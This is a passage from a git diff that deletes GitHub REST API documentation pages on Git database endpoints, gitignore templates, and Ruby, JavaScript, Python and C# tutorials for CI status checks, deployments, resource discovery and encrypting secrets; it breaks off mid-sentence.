a/content/rest/git/blobs.md +++ /dev/null @@ -1,22 +0,0 @@ ---- -title: REST API endpoints for Git blobs -shortTitle: Blobs -allowTitleToDifferFromFilename: true -intro: >- - Use the REST API to interact with a Git blob (binary large object), the object - type used to store the contents of each file in a repository. -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - API -autogenerated: rest ---- - -## About Git blobs - -A Git blob (binary large object) is the object type used to store the contents of each file in a repository. The file's SHA-1 hash is computed and stored in the blob object. These endpoints allow you to read and write [blob objects](https://git-scm.com/book/en/v2/Git-Internals-Git-Objects) -to your Git database on {% data variables.product.github %}. Blobs leverage [these custom media types](#custom-media-types-for-blobs). For more information about the use of media types in the API, see [AUTOTITLE](/rest/overview/media-types). - - diff --git a/content/rest/git/commits.md b/content/rest/git/commits.md deleted file mode 100644 index fdf483d4dab0..000000000000 --- a/content/rest/git/commits.md +++ /dev/null @@ -1,21 +0,0 @@ ---- -title: REST API endpoints for Git commits -shortTitle: Commits -allowTitleToDifferFromFilename: true -intro: >- - Use the REST API to interact with commit objects in your Git database on {% - data variables.product.github %}. -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - API -autogenerated: rest ---- - -## About Git commits - -A Git commit is a snapshot of the hierarchy ([Git tree](/rest/git/trees)) and the contents of the files ([Git blob](/rest/git/blobs)) in a Git repository. These endpoints allow you to read and write [commit objects](https://git-scm.com/book/en/v2/Git-Internals-Git-Objects#_git_commit_objects) to your Git database on {% data variables.product.github %}. - - diff --git a/content/rest/git/index.md b/content/rest/git/index.md deleted file mode 100644 index 68c0370f8b5d..000000000000 --- a/content/rest/git/index.md +++ /dev/null @@ -1,28 +0,0 @@ ---- -title: REST API endpoints for Git database -shortTitle: Git database -intro: 'Use the REST API to interact with raw Git objects in your Git database on {% data variables.product.github %} and to list and update Git references (branch heads and tags).' -allowTitleToDifferFromFilename: true -redirect_from: - - /v3/git - - /rest/reference/git -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - API -children: - - /blobs - - /commits - - /refs - - /tags - - /trees -autogenerated: rest ---- - -## About Git database - -The REST API gives you access to read and write raw Git objects to your Git database on {% data variables.product.github %} and to list and update your references (branch heads and tags). For more information about using the REST API to interact with your Git database, see [AUTOTITLE](/rest/guides/using-the-rest-api-to-interact-with-your-git-database). - - diff --git a/content/rest/git/refs.md b/content/rest/git/refs.md deleted file mode 100644 index 0f597f6bf88e..000000000000 --- a/content/rest/git/refs.md +++ /dev/null @@ -1,21 +0,0 @@ ---- -title: REST API endpoints for Git references -shortTitle: References -intro: >- - Use the REST API to interact with references in your Git database on {% data - variables.product.github %} -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - API -allowTitleToDifferFromFilename: true -autogenerated: rest ---- - -## About Git references - -A Git reference (`git ref`) is a file that contains a Git commit SHA-1 hash. When referring to a Git commit, you can use the Git reference, which is an easy-to-remember name, rather than the hash. The Git reference can be rewritten to point to a new commit. A branch is a Git reference that stores the new Git commit hash. These endpoints allow you to read and write [references](https://git-scm.com/book/en/v2/Git-Internals-Git-References) to your Git database on {% data variables.product.github %}. - - diff --git a/content/rest/git/tags.md b/content/rest/git/tags.md deleted file mode 100644 index b1bd5c992683..000000000000 --- a/content/rest/git/tags.md +++ /dev/null @@ -1,21 +0,0 @@ ---- -title: REST API endpoints for Git tags -shortTitle: Tags -allowTitleToDifferFromFilename: true -intro: >- - Use the REST API to interact with tag objects in your Git database on {% data - variables.product.github %}. -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - API -autogenerated: rest ---- - -## About Git tags - -A Git tag is similar to a [Git reference](/rest/git/refs), but the Git commit that it points to never changes. Git tags are helpful when you want to point to specific releases. These endpoints allow you to read and write [tag objects](https://git-scm.com/book/en/v2/Git-Internals-Git-References#_tags) to your Git database on {% data variables.product.github %}. The API only supports [annotated tag objects](https://git-scm.com/book/en/v2/Git-Internals-Git-References#_tags), not lightweight tags. - - diff --git a/content/rest/git/trees.md b/content/rest/git/trees.md deleted file mode 100644 index 354eb7f1f857..000000000000 --- a/content/rest/git/trees.md +++ /dev/null @@ -1,21 +0,0 @@ ---- -title: REST API endpoints for Git trees -shortTitle: Trees -allowTitleToDifferFromFilename: true -intro: >- - Use the REST API to interact with tree objects in your Git database on {% data - variables.product.github %}. -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - API -autogenerated: rest ---- - -## About Git trees - -A Git tree object creates the hierarchy between files in a Git repository. You can use the Git tree object to create the relationship between directories and the files they contain. These endpoints allow you to read and write [tree objects](https://git-scm.com/book/en/v2/Git-Internals-Git-Objects#_tree_objects) to your Git database on {% data variables.product.github %}. - - diff --git a/content/rest/gitignore/gitignore.md b/content/rest/gitignore/gitignore.md deleted file mode 100644 index 0cdbb8a3e19a..000000000000 --- a/content/rest/gitignore/gitignore.md +++ /dev/null @@ -1,23 +0,0 @@ ---- -title: REST API endpoints for gitignore -shortTitle: Gitignore -allowTitleToDifferFromFilename: true -intro: >- - Use the REST API to get `.gitignore` templates that can be used to ignore - files and directories. -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - API -redirect_from: - - /rest/reference/gitignore -autogenerated: rest ---- - -## About gitignore - -When you create a new repository on {% data variables.product.github %} via the API, you can specify a [.gitignore template](/get-started/git-basics/ignoring-files) to apply to the repository upon creation. You can use the REST API to get .gitignore templates from the {% data variables.product.github %} [.gitignore repository](https://github.com/github/gitignore). - - diff --git a/content/rest/gitignore/index.md b/content/rest/gitignore/index.md deleted file mode 100644 index 1494aabcc58e..000000000000 --- a/content/rest/gitignore/index.md +++ /dev/null @@ -1,19 +0,0 @@ ---- -title: REST API endpoints for gitignore -shortTitle: Gitignore -allowTitleToDifferFromFilename: true -intro: >- - Use the REST API to get `.gitignore` templates that can be used to ignore - files and directories. -versions: - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - API -children: - - /gitignore -autogenerated: rest ---- - - diff --git a/content/rest/guides/building-a-ci-server.md b/content/rest/guides/building-a-ci-server.md deleted file mode 100644 index cb5460a6456c..000000000000 --- a/content/rest/guides/building-a-ci-server.md +++ /dev/null @@ -1,172 +0,0 @@ ---- -title: Building a CI server -intro: Build your own CI system using the Status API. -redirect_from: - - /guides/building-a-ci-server - - /v3/guides/building-a-ci-server -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - API ---- - - - -You can use the REST API to tie together commits with -a testing service, so that every push you make can be tested and represented -in a {% data variables.product.github %} pull request. For more information about the relevant endpoints, see [AUTOTITLE](/rest/commits/statuses). - -This guide will use that API to demonstrate a setup that you can use. -In our scenario, we will: - -* Run our CI suite when a Pull Request is opened (we'll set the CI status to pending). -* When the CI is finished, we'll set the Pull Request's status accordingly. - -Our CI system and host server will be figments of our imagination. They could be -Travis, Jenkins, or something else entirely. The crux of this guide will be setting up -and configuring the server managing the communication. - -If you haven't already, [download `ngrok`](https://ngrok.com/), and learn how -to [use it](/webhooks-and-events/webhooks/configuring-your-server-to-receive-payloads#using-ngrok). We find it to be a very useful tool for exposing local -applications to the internet. - -{% ifversion cli-webhook-forwarding %} - -> [!NOTE] -> Alternatively, you can use webhook forwarding to set up your local environment to receive webhooks. For more information, see [AUTOTITLE](/webhooks-and-events/webhooks/receiving-webhooks-with-the-github-cli). - -{% endif %} - -Note: you can download the complete source code for this project -[from the platform-samples repo](https://github.com/github/platform-samples/tree/master/api/ruby/building-a-ci-server). - -## Writing your server - -We'll write a quick Sinatra app to prove that our local connections are working. -Let's start with this: - -``` ruby -require 'sinatra' -require 'json' - -post '/event_handler' do - payload = JSON.parse(params[:payload]) - "Well, it worked!" -end -``` - -(If you're unfamiliar with how Sinatra works, we recommend [reading the Sinatra guide](http://www.sinatrarb.com/).) - -Start this server up. By default, Sinatra starts on port `4567`, so you'll want -to configure `ngrok` to start listening for that, too. - -In order for this server to work, we'll need to set a repository up with a webhook. The webhook should be configured to fire whenever a pull request is created, or merged. - -Go ahead and create a repository you're comfortable playing around in. Might we suggest [@octocat's Spoon/Knife repository](https://github.com/octocat/Spoon-Knife)? - -After that, you'll create a new webhook in your repository, feeding it the URL that `ngrok` gave you, and choosing `application/x-www-form-urlencoded` as the content type. - -Click **Update webhook**. You should see a body response of `Well, it worked!`. -Great! Click on **Let me select individual events**, and select the following: - -* Status -* Pull Request - -These are the events {% data variables.product.github %} will send to our server whenever the relevant action -occurs. Let's update our server to _just_ handle the Pull Request scenario right now: - -``` ruby -post '/event_handler' do - @payload = JSON.parse(params[:payload]) - - case request.env['HTTP_X_GITHUB_EVENT'] - when "pull_request" - if @payload["action"] == "opened" - process_pull_request(@payload["pull_request"]) - end - end -end - -helpers do - def process_pull_request(pull_request) - puts "It's #{pull_request['title']}" - end -end -``` - -What's going on? Every event that {% data variables.product.github %} sends out attached a `X-GitHub-Event` -HTTP header. We'll only care about the PR events for now. From there, we'll -take the payload of information, and return the title field. In an ideal scenario, -our server would be concerned with every time a pull request is updated, not just -when it's opened. That would make sure that every new push passes the CI tests. -But for this demo, we'll just worry about when it's opened. - -To test out this proof-of-concept, make some changes in a branch in your test -repository, and open a pull request. Your server should respond accordingly! - -## Working with statuses - -With our server in place, we're ready to start our first requirement, which is -setting (and updating) CI statuses. Note that at any time you update your server, -you can click **Redeliver** to send the same payload. There's no need to make a -new pull request every time you make a change! - -Since we're interacting with the {% data variables.product.github %} API, we'll use [Octokit.rb](https://github.com/octokit/octokit.rb) -to manage our interactions. We'll configure that client with -[a {% data variables.product.pat_generic %}](/authentication/keeping-your-account-and-data-secure/creating-a-personal-access-token): - -``` ruby -# !!! DO NOT EVER USE HARD-CODED VALUES IN A REAL APP !!! -# Instead, set and test environment variables, like below -ACCESS_TOKEN = ENV['MY_PERSONAL_TOKEN'] - -before do - @client ||= Octokit::Client.new(:access_token => ACCESS_TOKEN) -end -``` - -After that, we'll just need to update the pull request on {% data variables.product.github %} to make clear -that we're processing on the CI: - -``` ruby -def process_pull_request(pull_request) - puts "Processing pull request..." - @client.create_status(pull_request['base']['repo']['full_name'], pull_request['head']['sha'], 'pending') -end -``` - -We're doing three very basic things here: - -* We're looking up the full name of the repository -* We're looking up the last SHA of the pull request -* We're setting the status to "pending" - -That's it! From here, you can run whatever process you need to in order to execute -your test suite. Maybe you're going to pass off your code to Jenkins, or call -on another web service via its API, like [Travis](https://api.travis-ci.com/docs/). After that, you'd -be sure to update the status once more. In our example, we'll just set it to `"success"`: - -``` ruby -def process_pull_request(pull_request) - @client.create_status(pull_request['base']['repo']['full_name'], pull_request['head']['sha'], 'pending') - sleep 2 # do busy work... - @client.create_status(pull_request['base']['repo']['full_name'], pull_request['head']['sha'], 'success') - puts "Pull request processed!" -end -``` - -## Conclusion - -At GitHub, we've used a version of [Janky](https://github.com/github/janky) to manage our CI for years. -The basic flow is essentially the exact same as the server we've built above. -At GitHub, we: - -* Fire to Jenkins when a pull request is created or updated (via Janky) -* Wait for a response on the state of the CI -* If the code is green, we merge the pull request - -All of this communication is funneled back to our chat rooms. You don't need to -build your own CI setup to use this example. -You can always rely on [GitHub integrations](https://github.com/integrations). diff --git a/content/rest/guides/delivering-deployments.md b/content/rest/guides/delivering-deployments.md deleted file mode 100644 index dda22a49ef45..000000000000 --- a/content/rest/guides/delivering-deployments.md +++ /dev/null @@ -1,188 +0,0 @@ ---- -title: Delivering deployments -intro: 'Using the Deployments REST API, you can build custom tooling that interacts with your server and a third-party app.' -redirect_from: - - /guides/delivering-deployments - - /guides/automating-deployments-to-integrators - - /v3/guides/delivering-deployments -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - API ---- - - - -You can use the REST API to deploy your projects hosted on {% data variables.product.github %} on a server that you own. For more information about the endpoints to manage deployments and statuses, see [AUTOTITLE](/rest/deployments). You can also use the REST API to coordinate your deployments the moment your code lands on the default branch. For more information, see [AUTOTITLE](/rest/guides/building-a-ci-server). - -This guide will use the REST API to demonstrate a setup that you can use. -In our scenario, we will: - -* Merge a pull request. -* When the CI is finished, we'll set the pull request's status accordingly. -* When the pull request is merged, we'll run our deployment to our server. - -Our CI system and host server will be figments of our imagination. They could be -Heroku, Amazon, or something else entirely. The crux of this guide will be setting up -and configuring the server managing the communication. - -If you haven't already, be sure to [download `ngrok`](https://ngrok.com/), and learn how -to [use it](/webhooks-and-events/webhooks/configuring-your-server-to-receive-payloads#using-ngrok). We find it to be a very useful tool for exposing local -applications to the internet. - -{% ifversion cli-webhook-forwarding %} - -> [!NOTE] -> Alternatively, you can use webhook forwarding to set up your local environment to receive webhooks. For more information, see [AUTOTITLE](/webhooks-and-events/webhooks/receiving-webhooks-with-the-github-cli). - -{% endif %} - -Note: you can download the complete source code for this project -[from the platform-samples repo](https://github.com/github/platform-samples/tree/master/api/ruby/delivering-deployments). - -## Writing your server - -We'll write a quick Sinatra app to prove that our local connections are working. -Let's start with this: - -``` ruby -require 'sinatra' -require 'json' - -post '/event_handler' do - payload = JSON.parse(params[:payload]) - "Well, it worked!" -end -``` - -(If you're unfamiliar with how Sinatra works, we recommend [reading the Sinatra guide](http://www.sinatrarb.com/).) - -Start this server up. By default, Sinatra starts on port `4567`, so you'll want -to configure `ngrok` to start listening for that, too. - -In order for this server to work, we'll need to set a repository up with a webhook. The webhook should be configured to fire whenever a pull request is created, or merged. - -Go ahead and create a repository you're comfortable playing around in. Might we -suggest [@octocat's Spoon/Knife repository](https://github.com/octocat/Spoon-Knife)? - -After that, you'll create a new webhook in your repository, feeding it the URL that `ngrok` gave you, and choosing `application/x-www-form-urlencoded` as the content type. - -Click **Update webhook**. You should see a body response of `Well, it worked!`. -Great! Click on **Let me select individual events.**, and select the following: - -* Deployment -* Deployment status -* Pull Request - -These are the events {% data variables.product.github %} will send to our server whenever the relevant action -occurs. We'll configure our server to _just_ handle when pull requests are merged -right now: - -``` ruby -post '/event_handler' do - @payload = JSON.parse(params[:payload]) - - case request.env['HTTP_X_GITHUB_EVENT'] - when "pull_request" - if @payload["action"] == "closed" && @payload["pull_request"]["merged"] - puts "A pull request was merged! A deployment should start now..." - end - end -end -``` - -What's going on? Every event that {% data variables.product.github %} sends out attached a `X-GitHub-Event` -HTTP header. We'll only care about the PR events for now. When a pull request is -merged (its state is `closed`, and `merged` is `true`), we'll kick off a deployment. - -To test out this proof-of-concept, make some changes in a branch in your test -repository, open a pull request, and merge it. Your server should respond accordingly! - -## Working with deployments - -With our server in place, the code being reviewed, and our pull request -merged, we want our project to be deployed. - -We'll start by modifying our event listener to process pull requests when they're -merged, and start paying attention to deployments: - -``` ruby -when "pull_request" - if @payload["action"] == "closed" && @payload["pull_request"]["merged"] - start_deployment(@payload["pull_request"]) - end -when "deployment" - process_deployment(@payload) -when "deployment_status" - update_deployment_status -end -``` - -Based on the information from the pull request, we'll start by filling out the -`start_deployment` method: - -``` ruby -def start_deployment(pull_request) - user = pull_request['user']['login'] - payload = JSON.generate(:environment => 'production', :deploy_user => user) - @client.create_deployment(pull_request['head']['repo']['full_name'], pull_request['head']['sha'], {:payload => payload, :description => "Deploying my sweet branch"}) -end -``` - -Deployments can have some metadata attached to them, in the form of a `payload` -and a `description`. Although these values are optional, it's helpful to use -for logging and representing information. - -When a new deployment is created, a completely separate event is triggered. That's -why we have a new `switch` case in the event handler for `deployment`. You can -use this information to be notified when a deployment has been triggered. - -Deployments can take a rather long time, so we'll want to listen for various events, -such as when the deployment was created, and what state it's in. - -Let's simulate a deployment that does some work, and notice the effect it has on -the output. First, let's complete our `process_deployment` method: - -``` ruby -def process_deployment - payload = JSON.parse(@payload['payload']) - # you can send this information to your chat room, monitor, pager, etc. - puts "Processing '#{@payload['description']}' for #{payload['deploy_user']} to #{payload['environment']}" - sleep 2 # simulate work - @client.create_deployment_status("repos/#{@payload['repository']['full_name']}/deployments/#{@payload['id']}", 'pending') - sleep 2 # simulate work - @client.create_deployment_status("repos/#{@payload['repository']['full_name']}/deployments/#{@payload['id']}", 'success') -end -``` - -Finally, we'll simulate storing the status information as console output: - -``` ruby -def update_deployment_status - puts "Deployment status for #{@payload['id']} is #{@payload['state']}" -end -``` - -Let's break down what's going on. A new deployment is created by `start_deployment`, -which triggers the `deployment` event. From there, we call `process_deployment` -to simulate work that's going on. During that processing, we also make a call to -`create_deployment_status`, which lets a receiver know what's going on, as we -switch the status to `pending`. - -After the deployment is finished, we set the status to `success`. - -## Conclusion - -At GitHub, we've used a version of [Heaven](https://github.com/atmos/heaven) to manage -our deployments for years. A common flow is essentially the same as the -server we've built above: - -* Wait for a response on the state of the CI checks (success or failure) -* If the required checks succeed, merge the pull request -* Heaven takes the merged code, and deploys it to staging and production servers -* In the meantime, Heaven also notifies everyone about the build, via [Hubot](https://github.com/github/hubot) sitting in our chat rooms - -That's it! You don't need to build your own deployment setup to use this example. -You can always rely on [GitHub integrations](https://github.com/integrations). diff --git a/content/rest/guides/discovering-resources-for-a-user.md b/content/rest/guides/discovering-resources-for-a-user.md deleted file mode 100644 index af0e17fc6283..000000000000 --- a/content/rest/guides/discovering-resources-for-a-user.md +++ /dev/null @@ -1,97 +0,0 @@ ---- -title: Discovering resources for a user -intro: Learn how to find the repositories and organizations that your app can access for a user in a reliable way for your authenticated requests to the REST API. -redirect_from: - - /guides/discovering-resources-for-a-user - - /v3/guides/discovering-resources-for-a-user -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - API -shortTitle: Discover resources for a user ---- - - - -When making authenticated requests to the {% data variables.product.github %} API, applications often need to fetch the current user's repositories and organizations. In this guide, we'll explain how to reliably discover those resources. - -To interact with the {% data variables.product.github %} API, we'll be using [Octokit.rb](https://github.com/octokit/octokit.rb). You can find the complete source code for this project in the [platform-samples](https://github.com/github/platform-samples/tree/master/api/ruby/discovering-resources-for-a-user) repository. - -## Getting started - -If you haven't already, you should read the [Basics of Authentication](/apps/oauth-apps/building-oauth-apps/authenticating-to-the-rest-api-with-an-oauth-app) guide before working through the examples below. The examples below assume that you have [registered an {% data variables.product.prodname_oauth_app %}](/apps/oauth-apps/building-oauth-apps/authenticating-to-the-rest-api-with-an-oauth-app#registering-your-app) and that your [application has an OAuth token for a user](/apps/oauth-apps/building-oauth-apps/authenticating-to-the-rest-api-with-an-oauth-app#making-authenticated-requests). - -## Discover the repositories that your app can access for a user - -In addition to having their own personal repositories, a user may be a collaborator on repositories owned by other users and organizations. Collectively, these are the repositories where the user has privileged access: either it's a private repository where the user has read or write access, or it's {% ifversion fpt %}a public{% elsif ghec or ghes %}a public or internal{% endif %} repository where the user has write access. - -[OAuth scopes](/apps/oauth-apps/building-oauth-apps/scopes-for-oauth-apps) and [organization application policies](https://developer.github.com/changes/2015-01-19-an-integrators-guide-to-organization-application-policies/) determine which of those repositories your app can access for a user. Use the workflow below to discover those repositories. - -As always, first we'll require [GitHub's Octokit.rb](https://github.com/octokit/octokit.rb) Ruby library. Then we'll configure Octokit.rb to automatically handle pagination for us. For more information about pagination, see [AUTOTITLE](/rest/guides/using-pagination-in-the-rest-api). - -``` ruby -require 'octokit' - -Octokit.auto_paginate = true -``` - -Next, we'll pass in our application's [OAuth token for a given user](/apps/oauth-apps/building-oauth-apps/authenticating-to-the-rest-api-with-an-oauth-app#making-authenticated-requests): - -``` ruby -# !!! DO NOT EVER USE HARD-CODED VALUES IN A REAL APP !!! -# Instead, set and test environment variables, like below. -client = Octokit::Client.new :access_token => ENV["OAUTH_ACCESS_TOKEN"] -``` - -Then, we're ready to fetch the [repositories that our application can access for the user](/rest/repos/repos#list-repositories-for-the-authenticated-user): - -``` ruby -client.repositories.each do |repository| - full_name = repository[:full_name] - has_push_access = repository[:permissions][:push] - - access_type = if has_push_access - "write" - else - "read-only" - end - - puts "User has #{access_type} access to #{full_name}." -end -``` - -## Discover the organizations that your app can access for a user - -Applications can perform all sorts of organization-related tasks for a user. To perform these tasks, the app needs an [OAuth authorization](/apps/oauth-apps/building-oauth-apps/scopes-for-oauth-apps) with sufficient permission. For example, the `read:org` scope allows you to [list teams](/rest/teams/teams#list-teams), and the `user` scope lets you [publicize the user’s organization membership](/rest/orgs/members#set-public-organization-membership-for-the-authenticated-user). Once a user has granted one or more of these scopes to your app, you're ready to fetch the user’s organizations. - -Just as we did when discovering repositories above, we'll start by requiring [GitHub's Octokit.rb](https://github.com/octokit/octokit.rb) Ruby library and configuring it to take care of pagination for us. For more information about pagination, see [AUTOTITLE](/rest/guides/using-pagination-in-the-rest-api). - -``` ruby -require 'octokit' - -Octokit.auto_paginate = true -``` - -Next, we'll pass in our application's [OAuth token for a given user](/apps/oauth-apps/building-oauth-apps/authenticating-to-the-rest-api-with-an-oauth-app#making-authenticated-requests) to initialize our API client: - -``` ruby -# !!! DO NOT EVER USE HARD-CODED VALUES IN A REAL APP !!! -# Instead, set and test environment variables, like below. -client = Octokit::Client.new :access_token => ENV["OAUTH_ACCESS_TOKEN"] -``` - -Then, we can [list the organizations that our application can access for the user](/rest/orgs/orgs#list-organizations-for-the-authenticated-user): - -``` ruby -client.organizations.each do |organization| - puts "User belongs to the #{organization[:login]} organization." -end -``` - -### Return all of the user's organization memberships - -If you've read the docs from cover to cover, you may have noticed an [API method for listing a user's public organization memberships](/rest/orgs/orgs#list-organizations-for-a-user). Most applications should avoid this API method. This method only returns the user's public organization memberships, not their private organization memberships. - -As an application, you typically want all of the user's organizations that your app is authorized to access. The workflow above will give you exactly that. diff --git a/content/rest/guides/encrypting-secrets-for-the-rest-api.md b/content/rest/guides/encrypting-secrets-for-the-rest-api.md deleted file mode 100644 index 0ad1dbc4b05f..000000000000 --- a/content/rest/guides/encrypting-secrets-for-the-rest-api.md +++ /dev/null @@ -1,101 +0,0 @@ ---- -title: Encrypting secrets for the REST API -intro: In order to create or update a secret with the REST API, you must encrypt the value of the secret. -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - API -shortTitle: Encrypt secrets ---- - -## About encrypting secrets - -Several REST API endpoints let you create secrets on {% data variables.product.company_short %}. To use these endpoints, you must encrypt the secret value using libsodium. For more information, see the [libsodium documentation](https://libsodium.gitbook.io/doc/bindings_for_other_languages). - -In order to encrypt a secret, you need a Base64 encoded public key. You can get a public key from the REST API. To determine which endpoint to use to get the public key, look at the documentation for the `encrypted_value` parameter in the endpoint that you will use to create a secret . - -## Example encrypting a secret using Node.js - -If you are using Node.js, you can encrypt your secret using the libsodium-wrappers library. For more information, see [libsodium-wrappers](https://www.npmjs.com/package/libsodium-wrappers). - -In the following example, replace `YOUR_SECRET` with the plain text value that you want to encrypt. Replace `YOUR_BASE64_KEY` with your Base64 encoded public key. The documentation for the endpoint that you will use to create a secret will tell you which endpoint you can use to get the public key. `ORIGINAL` is not a placeholder; it is a parameter for the libsodium-wrappers library. - -```javascript copy -const sodium = require('libsodium-wrappers') - -const secret = 'YOUR_SECRET' -const key = 'YOUR_BASE64_KEY' - -//Check if libsodium is ready and then proceed. -sodium.ready.then(() => { - // Convert the secret and key to a Uint8Array. - let binkey = sodium.from_base64(key, sodium.base64_variants.ORIGINAL) - let binsec = sodium.from_string(secret) - - // Encrypt the secret using libsodium - let encBytes = sodium.crypto_box_seal(binsec, binkey) - - // Convert the encrypted Uint8Array to Base64 - let output = sodium.to_base64(encBytes, sodium.base64_variants.ORIGINAL) - - // Print the output - console.log(output) -}); -``` - -## Example encrypting a secret using Python - -If you are using Python 3, you can encrypt your secret using the PyNaCl library. For more information, see [PyNaCl](https://pynacl.readthedocs.io/en/latest/public/#nacl-public-sealedbox). - -In the following example, replace `YOUR_SECRET` with the plain text value that you want to encrypt. Replace `YOUR_BASE64_KEY` with your Base64 encoded public key. The documentation for the endpoint that you will use to create a secret will tell you which endpoint you can use to get the public key. - -```python copy -from base64 import b64encode -from nacl import encoding, public - -def encrypt(public_key: str, secret_value: str) -> str: - """Encrypt a Unicode string using the public key.""" - public_key = public.PublicKey(public_key.encode("utf-8"), encoding.Base64Encoder()) - sealed_box = public.SealedBox(public_key) - encrypted = sealed_box.encrypt(secret_value.encode("utf-8")) - return b64encode(encrypted).decode("utf-8") - -encrypt("YOUR_BASE64_KEY", "YOUR_SECRET") -``` - -## Example encrypting a secret using C# - -If you are using C#, you can encrypt your secret using the Sodium.Core package. For more information, see [Sodium.Core](https://www.nuget.org/packages/Sodium.Core/). - -In the following example, replace `YOUR_SECRET` with the plain text value that you want to encrypt. Replace `YOUR_BASE64_KEY` with your Base64 encoded public key. The documentation for the endpoint that you will use to create a secret will tell you which endpoint you can use to get the public key. - -```csharp copy -var secretValue = System.Text.Encoding.UTF8.GetBytes("YOUR_SECRET"); -var publicKey = Convert.FromBase64String("YOUR_BASE64_KEY"); - -var sealedPublicKeyBox = Sodium.SealedPublicKeyBox.Create(secretValue, publicKey); - -Console.WriteLine(Convert.ToBase64String(sealedPublicKeyBox)); -``` - -## Example encrypting a secret using Ruby - -If you are using Ruby, you can encrypt your secret using the RbNaCl gem. For more information, see [RbNaCl](https://github.com/RubyCrypto/rbnacl). - -In the following example, replace `YOUR_SECRET` with the plain text value that you want to encrypt. Replace `YOUR_BASE64_KEY` with your Base64 encoded public key. The documentation for the endpoint that you will use to create a secret will tell you which endpoint you can use to get the public key. - -```ruby copy -require "rbnacl" -require "base64" - -key = Base64.decode64("YOUR_BASE64_KEY") -public_key = RbNaCl::PublicKey.new(key) - -box = RbNaCl::Boxes::Sealed.from_public_key(public_key) -encrypted_secret = box.encrypt("YOUR_SECRET") - -# Print the base64 encoded secret -puts Base64.strict_encode64(encrypted_secret) -``` diff --git a/content/rest/guides/index.md b/content/rest/guides/index.md deleted file mode 100644 index 3612fc15bf10..000000000000 --- a/content/rest/guides/index.md +++ /dev/null @@ -1,28 +0,0 @@ ---- -title: Guides -intro: 'Learn about getting started with the REST API, authentication, and how to use the REST API for a variety of tasks.' -redirect_from: - - /guides - - /v3/guides -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - API -children: - - /scripting-with-the-rest-api-and-javascript - - /scripting-with-the-rest-api-and-ruby - - /discovering-resources-for-a-user - - /delivering-deployments - - /rendering-data-as-graphs - - /working-with-comments - - /building-a-ci-server - - /using-the-rest-api-to-interact-with-your-git-database - - /using-the-rest-api-to-interact-with-checks - - /encrypting-secrets-for-the-rest-api ---- -This section of the documentation is intended to get you up-and-running with -real-world {% data variables.product.github %} API applications. We'll go over everything you need to know, from authentication to results manipulation to integrating results with other apps. -Every tutorial will include a project, and each project will be saved and documented in our public -[platform-samples](https://github.com/github/platform-samples) repository. diff --git a/content/rest/guides/rendering-data-as-graphs.md b/content/rest/guides/rendering-data-as-graphs.md deleted file mode 100644 index 3ebd3a6e6946..000000000000 --- a/content/rest/guides/rendering-data-as-graphs.md +++ /dev/null @@ -1,367 +0,0 @@ ---- -title: Rendering data as graphs -intro: Learn how to visualize the programming languages from your repository using the D3.js library and Ruby Octokit. -redirect_from: - - /guides/rendering-data-as-graphs - - /v3/guides/rendering-data-as-graphs -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - API ---- - - - -In this guide, we're going to use the API to fetch information about repositories -that we own, and the programming languages that make them up. Then, we'll -visualize that information in a couple of different ways using the [D3.js](https://d3js.org/) library. To -interact with the {% data variables.product.github %} API, we'll be using the excellent Ruby library, [Octokit](https://github.com/octokit/octokit.rb). - -If you haven't already, you should read the [Basics of Authentication](/apps/oauth-apps/building-oauth-apps/authenticating-to-the-rest-api-with-an-oauth-app) -guide before starting this example. You can find the complete source code for this project in the [platform-samples](https://github.com/github/platform-samples/tree/master/api/ruby/rendering-data-as-graphs) repository. - -Let's jump right in! - -## Setting up an {% data variables.product.prodname_oauth_app %} - -First, [register a new application](https://github.com/settings/applications/new) on {% data variables.product.github %}. Set the main and callback -URLs to `http://localhost:4567/`. As [before](/apps/oauth-apps/building-oauth-apps/authenticating-to-the-rest-api-with-an-oauth-app), we're going to handle authentication for the API by -implementing a Rack middleware using [sinatra-auth-github](https://github.com/atmos/sinatra_auth_github): - -``` ruby -require 'sinatra/auth/github' - -module Example - class MyGraphApp < Sinatra::Base - # !!! DO NOT EVER USE HARD-CODED VALUES IN A REAL APP !!! - # Instead, set and test environment variables, like below - # if ENV['GITHUB_CLIENT_ID'] && ENV['GITHUB_CLIENT_SECRET'] - # CLIENT_ID = ENV['GITHUB_CLIENT_ID'] - # CLIENT_SECRET = ENV['GITHUB_CLIENT_SECRET'] - # end - - CLIENT_ID = ENV['GH_GRAPH_CLIENT_ID'] - CLIENT_SECRET = ENV['GH_GRAPH_SECRET_ID'] - - enable :sessions - - set :github_options, { - :scopes => "repo", - :secret => CLIENT_SECRET, - :client_id => CLIENT_ID, - :callback_url => "/" - } - - register Sinatra::Auth::Github - - get '/' do - if !authenticated? - authenticate! - else - access_token = github_user["token"] - end - end - end -end -``` - -Set up a similar _config.ru_ file as in the previous example: - -``` ruby -ENV['RACK_ENV'] ||= 'development' -require "rubygems" -require "bundler/setup" - -require File.expand_path(File.join(File.dirname(__FILE__), 'server')) - -run Example::MyGraphApp -``` - -## Fetching repository information - -This time, in order to talk to the {% data variables.product.github %} API, we're going to use the [Octokit -Ruby library](https://github.com/octokit/octokit.rb). This is much easier than directly making a bunch of -REST calls. Plus, Octokit was developed by a GitHubber, and is actively maintained, -so you know it'll work. - -Authentication with the API via Octokit is easy. Just pass your login -and token to the `Octokit::Client` 